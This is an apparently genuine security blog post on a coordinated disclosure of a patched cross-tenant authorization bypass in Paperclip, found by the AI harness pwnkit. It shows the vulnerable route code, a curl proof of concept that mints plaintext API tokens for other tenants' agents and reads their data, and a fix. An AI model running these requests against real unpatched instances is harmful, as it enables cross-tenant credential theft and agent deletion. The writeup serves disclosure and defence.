How pwnkit variant-hunted a critical cross-tenant auth bypass in Paperclip
Paperclip patched an unauth RCE chain in 2026.410.0. pwnkit ingested the advisory, variant-hunted for sibling handlers with the same class of mistake, and found three unprotected routes that let any signed-up user mint plaintext API tokens for any agent in any tenant.

What is Paperclip? Paperclip is an open-source control plane for managing AI agents and their work — issue tracking, approvals, adapter bindings, agent lifecycle, the whole coordination layer. Self-hosted, multi-tenant, runs on Docker. Small personal note: i used Paperclip back when it had around 5k stars. it's part of what pushed me to start pwnkit in the first place.
how it started
on 2026-04-10, Paperclip shipped 2026.410.0 with a fix for GHSA-68qg-g8mg-6pr7 — an unauth import → RCE chain. the specific fix added assertInstanceAdmin to the POST /companies/import handler that previously only checked assertBoard.
good fix. shipped fast. story over, right?
except the fix patched exactly one handler. the root cause — assertBoard treated as sufficient where a stronger check was required — is a class of bug, not a single instance. if the maintainer added assertInstanceAdmin to one route, there's a non-trivial chance that other routes were missing assertCompanyAccess in the same way.
this is exactly the kind of pattern pwnkit is built to chase. so i pointed it at the post-patch image.
the variant-hunt
pwnkit's variant-analysis workflow takes a known advisory and does three things:
- extract the root-cause pattern from the prior fix — here: "authorization gate too weak for the resource being authorized."
- sweep the codebase for sibling occurrences of that pattern.
- write and blind-verify a PoC for each candidate.
the sweep found seven suspicious handlers in server/src/routes/agents.ts. all of them called assertBoard(req) and nothing else, despite operating on per-agent resources that belong to a specific tenant.
the most dangerous three were the API-key handlers at lines 2050–2087:
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const key = await svc.createApiKey(id, req.body.name);
...
res.status(201).json(key); // returns plaintext `token`
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
...
});
twelve lines below that, the POST /agents/:id/wakeup handler shows the correct pattern — fetch the agent, then assertCompanyAccess(req, agent.companyId). the three /keys handlers don't even load the agent. they trust the caller's assertBoard permission to imply tenant authority, which it doesn't.
worse: the service code binds the new key to the victim's company server-side.
// server/src/services/agents.ts, ~line 580
createApiKey: async (id, name) => {
const existing = await getById(id); // victim agent
...
const token = createToken();
const created = await db.insert(agentApiKeys).values({
agentId: id,
companyId: existing.companyId, // <-- victim tenant
name,
keyHash,
}).returning().then(rows => rows[0]);
return { id: created.id, name, token, createdAt: created.createdAt };
// ↑ plaintext pcp_* token returned to attacker
},
so the minted token isn't just a credential — it's a credential pre-bound to the victim tenant. actorMiddleware resolves it to actor = { type: "agent", companyId: VICTIM }, and every downstream assertCompanyAccess(req, VICTIM) check passes.
this is the entire multi-tenant boundary failing on a three-line omission.
the PoC, end to end
verified against a clean ghcr.io/paperclipai/paperclip:latest container at commit b649bd4 (v2026.411.0-canary.8 — post the 2026.410.0 import-bypass fix). the image is running in the default configuration: authenticated mode, open signup, no email verification.
step 0 — target instance

$ docker ps --filter name=pwntest --format "{{.Image}}\t{{.Status}}"
ghcr.io/paperclipai/paperclip:latest Up 5 minutes
$ curl -sf http://127.0.0.1:3102/api/health
{"status":"ok","deploymentMode":"authenticated","bootstrapStatus":"ready",...}
step 1 & 2 — attacker signs up as a nobody

Mallory posts to /api/auth/sign-up/email with a throwaway address. no invite, no email verification — this is the default config. then GET /api/companies confirms she has exactly zero memberships. through the normal authorization path, she has access to nothing.
# sign up (saves better-auth.session_token cookie)
curl -s -X POST http://127.0.0.1:3102/api/auth/sign-up/email \
-H 'Content-Type: application/json' \
-d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}'
# confirm zero tenant membership
curl -s -H "Cookie: $MALLORY_SESSION" http://127.0.0.1:3102/api/companies
# -> []
step 3 — mint a plaintext token for a victim agent

this is the actual bug. Mallory posts to /api/agents/:id/keys with a victim-corp agent id. assertBoard passes because she's a valid board user. assertCompanyAccess is never called. the server returns a 201 with a plaintext pcp_* token bound to Victim Corp's companyId.
VICTIM_AGENT=c1368369-f633-465d-ab08-95a7ca4a0c13
curl -s -X POST \
-H "Cookie: $MALLORY_SESSION" \
-H "Content-Type: application/json" \
-d '{"name":"pwnkit"}' \
http://127.0.0.1:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 {"id":"fd4e7431-...","token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25","createdAt":"..."}
step 4 — read victim data across the tenancy boundary

Mallory swaps the session cookie for the stolen bearer token and immediately has agent-scoped read access to Victim Corp: company metadata, issue lists, approvals, agent configs (including adapter URLs and bindings).
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=c1486a58-37fd-4937-a065-16e835569882
curl -s -H "Authorization: Bearer $STOLEN" \
http://127.0.0.1:3102/api/companies/$VICTIM_CO | jq .
# -> {"id":"...","name":"Victim Corp","status":"active",...}
curl -s -H "Authorization: Bearer $STOLEN" \
http://127.0.0.1:3102/api/companies/$VICTIM_CO/agents | jq "[.[] | .name]"
# -> ["VictimAgent"]
thirty seconds from signup to cross-tenant read.
the blast radius is bigger than the keys handlers
the three /keys handlers are the worst primitive because the token persists across sessions until manually revoked. but the sweep also flagged four more sibling handlers in the same file that share the same assertBoard-only pattern:
| line | handler | effect |
|---|---|---|
| 1962 | POST /agents/:id/pause |
silently pause any agent in any tenant |
| 1985 | POST /agents/:id/resume |
resume any agent in any tenant |
| 2006 | POST /agents/:id/terminate |
terminate any agent in any tenant |
| 2029 | DELETE /agents/:id |
delete any agent in any tenant |
same mistake, same blast radius. every one of these confuses "is a board user" (any signed-up account) with "is a member of the tenant that owns this agent." a single signed-up attacker can DoS the agent fleet of any paperclip instance on the internet running in authenticated mode.
to be clear about the preconditions: everything here is default config. authenticated mode is the documented multi-user deployment. open signup is the default. no admin role, no invite token, no email verification, no CSRF dance. the only thing the attacker needs is a victim agent id — and those leak through activity feeds, heartbeat APIs, and the sidebar-badges endpoint that the previous advisory already flagged as under-protected.
why this happened: the class of bug
the lesson here is subtle. most auth-bypass writeups end with "add a check." but the real lesson is about what the checks mean.
Paperclip has three layered authorization primitives:
assertBoard(req)— caller is an authenticated human board user (i.e. signed up)assertCompanyAccess(req, companyId)— caller is a member of that specific companyassertInstanceAdmin(req)— caller has the instance-wide admin role
these are not nested. assertBoard does not imply tenant access. every "i have a board session" user is effectively a stranger to every company they're not a member of — that's the whole point of multi-tenancy. but in a codebase with 50+ routes, it's easy for a handler to grab assertBoard and stop there, especially when the resource being authorized looks board-shaped (an agent id, not a company id).
the previous advisory's fix — adding assertInstanceAdmin to /companies/import — addressed this instance on one route. what it didn't do was sweep the codebase for the class. that's exactly the gap variant-hunting is meant to close: "this patch fixed one bug, but the anti-pattern probably exists elsewhere — let's enumerate."
pwnkit's methodology here is nothing exotic. it's the same thing a senior security engineer would do: read the patch, extract the pattern, grep for variants, write a PoC. the differentiator is that it does it systematically and fast, and it doesn't get bored on route 34 of 50.
disclosure
i filed the report on 2026-04-14 with a full reproduction on a clean canary image, including the explicit note that this is the same class as the prior advisory the 2026.410.0 patch did not fully cover. @cryppadotta (the Paperclip maintainer) accepted the report within two days and shipped the fix in v2026.416.0.
what i didn't expect: cryppadotta's response included "pwnkit looks great — I'd love any more scans/vuln findings you can find — do you have a hosted service we could use?" which is funny, because Paperclip is one of the projects that made me start pwnkit in the first place. full circle.
the fix
the patch replaces each of the three /keys handlers so they load the target agent first and enforce company access:
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId); // ← the missing gate
const key = await svc.createApiKey(id, req.body.name);
...
});
the four sibling lifecycle handlers got the same treatment. for DELETE /keys/:keyId specifically, the fix also adds a getKeyById lookup so the key's companyId can be verified before revocation (otherwise you could pivot from stolen-key-id → unauthorized revoke).
a defense-in-depth suggestion that also landed: a unit test that asserts, for every route in agents.ts, that at least one of assertCompanyAccess or assertInstanceAdmin appears alongside assertBoard. cheap, mechanical, catches future regressions.
severity & references
- advisory: GHSA-47wq-cj9q-wpmp
- CVSS: 9.6 (Critical) —
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - CWE: CWE-285, CWE-639, CWE-862, CWE-1220
- affected:
@paperclipai/server≤ 2026.411.0-canary.8 - fixed: v2026.416.0
- discovered by: pwnkit during variant-hunt analysis of GHSA-68qg-g8mg-6pr7
- disclosure: coordinated via GitHub Security Advisory
timeline
| date | event |
|---|---|
| 2026-04-10 | Paperclip 2026.410.0 released with fix for GHSA-68qg-g8mg-6pr7 (unauth import → RCE) |
| 2026-04-12 | pwnkit variant-hunt sweep run against canary image at commit b649bd4 |
| 2026-04-14 | i report the cross-tenant bypass via GitHub Security Advisory |
| 2026-04-15 | @cryppadotta accepts the report |
| 2026-04-16 | Paperclip v2026.416.0 released with the fix; advisory GHSA-47wq-cj9q-wpmp published |
what i took away from this
a fix for one handler is not a fix for the pattern. the 2026.410.0 patch was correct and fast. it also left six more instances of the same class of bug on a critical-severity blast radius. every security advisory should be treated as a signal to grep the codebase for siblings, not just to close the ticket.
assertBoard is not a tenant boundary. if your authorization primitives are layered, every handler needs to answer the question "what is the specific resource this caller is about to touch, and do they own it?" — not just "are they logged in at all?" the two are not the same check and they are easy to confuse on a resource like /agents/:id/keys that looks primitive.
variant-hunting is underrated. finding the first bug is the hard part — the research, the instrumentation, the PoC. once the pattern is known, enumerating the second, third, and seventh instances is a mechanical sweep. most projects don't do this sweep, which means the highest-leverage moment to look for related bugs is the week after an advisory ships.
plaintext tokens returned from API endpoints are a secondary problem. the primary bug here is the missing authorization check. but the fact that the token comes back in the response body, bound server-side to the victim's tenant, turned "unauthorized POST" into "persistent cross-tenant credential" with zero additional work for the attacker. if your handler mints a credential, assume a bypass eventually gets discovered and think about whether the credential design amplifies the blast radius.
if you run Paperclip, update to v2026.416.0 or later. if you can't update immediately, audit your instance for agent API keys created in the last two weeks that you don't recognize, and revoke any with unfamiliar names.
written by Doruk Tan Öztürk (@peaktwilight). discovered via pwnkit — an agentic harness for autonomous security research. this is the 8th coordinated disclosure pwnkit has driven; the previous 7 are also written up on this blog.